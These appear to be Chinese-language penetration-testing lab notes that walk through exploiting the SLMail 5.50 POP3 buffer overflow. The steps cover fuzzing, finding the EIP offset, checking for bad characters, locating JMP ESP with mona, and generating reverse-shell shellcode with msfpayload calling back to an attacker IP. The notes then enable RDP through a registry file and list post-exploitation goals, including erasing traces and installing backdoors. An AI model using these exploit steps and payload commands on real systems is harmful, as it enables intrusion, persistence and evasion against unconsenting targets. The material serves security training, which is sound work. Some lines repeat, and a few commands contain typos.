使用cscript命令调用vbscript脚本,和python差不多
使用cscript命令调用vbscript脚本,和python差不多
| && &也可以
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
环境准备:
SLMail 5.50
ImmunityDebugger
mona.py ->imm安装的pythoncommand文件夹下
DEP:阻止代码从数据页被执行
ASLR: 随机内存地址加载执行程序和DLL,每次重启地址变化
关闭靶机的防火墙,或者打开ICMP的ping服务
netstat -nao(Windows)查看所有端口
nc IP PORT(Kali)连接指定的端口
import socket 导入socket模块
cp fileName1 fileName2 复制文件内容
开启邮件服务器(SLmail)
查找可以输入参数的命令
开始测试
打开调试工具(Immunity Debugger)
监听110端口(即邮件服务器SLmail)
启动运行
不停向邮件服务器(SLmail)发送测试数据
查看调试工具(Immunity Debugger)
找到精确溢出的4个字节
缓冲区本质上是内存的片段
找到精确溢出的4个字节
cd usr/share/metasploit-framework/tools
./pattern_create.rb 2700
./pattern_offset.rb +EIP
fuzzing
将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取EIP 寄存器 数值,将跳转到 shellcode 代码段并执行;
发送0x00---0xff256个字符,查找坏字符
寄存器EIP 存放下一条指令的地址
内存单元以每4个字节为一组来进行存放
内存地址的书写是从右到左的
39694438 ->读的时候 38 44 69 39
/usr/share/metasploit-framework/tools/exploit
pattern_create.rb
pattern_offset.rb
·寻找坏字符
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
• 返回地址、Shellcode、buffer中都不能出现坏字符
• null byte (0x00) 空字符,用于终止字符串的拷贝操作
• return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
• 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
• 0x0A
• 0x0D
把EIP的内容改成ESP的地址
SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
Rebase ->False
OS这一列必须是True
cd /usr/share/metasploit-framework/tools/
./nasm_shell.rb //把汇编语言转换成二进制
jump esp -> FFE4 \xff\xe4
!mona find -s "\xff\xe4"-m openc32.dll
问题:寄存器地址会变化
方法:
在内存中寻找地址固定的系统模块
寻找JMP ESP指令跳转
调用mona.py文件 打开模块
!mona modules
筛选模块
Rebase:重启后内存地址是否发生变化(这里找False)
RSLR:是否受保护
找符合 前四个False,OS为True 的模块
将(JMP ESP)指令转换为二进制(FFE4)
cd /usr/share/metasploit-framework/tools
./nasm_shell.rb
调用mona.py文件 输入命令
!mona find -s "\xff\e4" -m openc32.dll(模块名称)
若无(JMP ESP)指令,换模块继续查找
若找到,选择一个双击,在数据部分切换成汇编语言格式
点击工具栏“m”打开内存地图
注意,若程序支持DEP,则要挑选Access权限为 “R E”的模块
在(JMP ESP)指令处设置断点
开始运行
find / -name msfpayload
cd /usr/share/framework2/
./msfpayload //用于生成payload
win32_reverse LHOST=192.168.1.117 LPORT=444 C //生成用C语言写的反向连接444端口
win32_reverse LHOST=192.168.1.117 | grep 0d
win32_reverse LHOST=192.168.1.117 R | ./msfencode -b "\x00\x0a\x0d" //-b表示不要
"\x90" 表示不操作
发送测试数据08.py
断点停止后,按F7
使用msfpayload生成shellcode
cd /usr/share/framework2
./msfpayload -l
注意:现在服务器防火墙通常只允许外部访问特定端口,就算运行脚本开启服务器的其他端口外部也不能访问,故shellcode一般让服务器来主动连接攻击者端口
生成shellcode
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
在shellcode发现坏字符,通过编码绕过
./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
将shellcode编入程序
为了避免shellcode前几个字符被擦掉,在shellcode前面插入几个空字符
先开始监听shellcode中LPORT端口
发送shellcode脚本
通过修改注册表打开服务器的远程桌面服务
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
重启服务器让命令生效
shutdown -r -t 0
kali安装并执行远程桌面服务
apt-get install rdesktop
rdesktop +ip
注意:若连接不上,可能是防火墙阻止
注意:RegSnap软件可以对注册表拍摄快照,通过修改防火墙设置前后的快照比较,可以找出要修改的注册表路径
Linux缓冲区溢出
环境准备
将crossfire.tar.gz拷贝到/usr/games下解压
tar zxpf crossfire.tar.gz
调试工具
• edb
本机调试(设置只允许本地访问)
• iptables -A INPUT -p tcp --destination-port 4444 \! -d 127.0.0.1 -j DROP
• iptables -A INPUT -p tcp --destination-port 13327 \! -d 127.0.0.1 -j DROP
调试
• edb --run /usr/games/crossfire/bin/crossfire
点击两次run运行程序
唯一字符串识别 EIP 精确位置、
后漏洞利用阶段
上传工具
Linux系统
Windows
提权
擦除攻击痕迹
安装后门
后漏洞利用阶段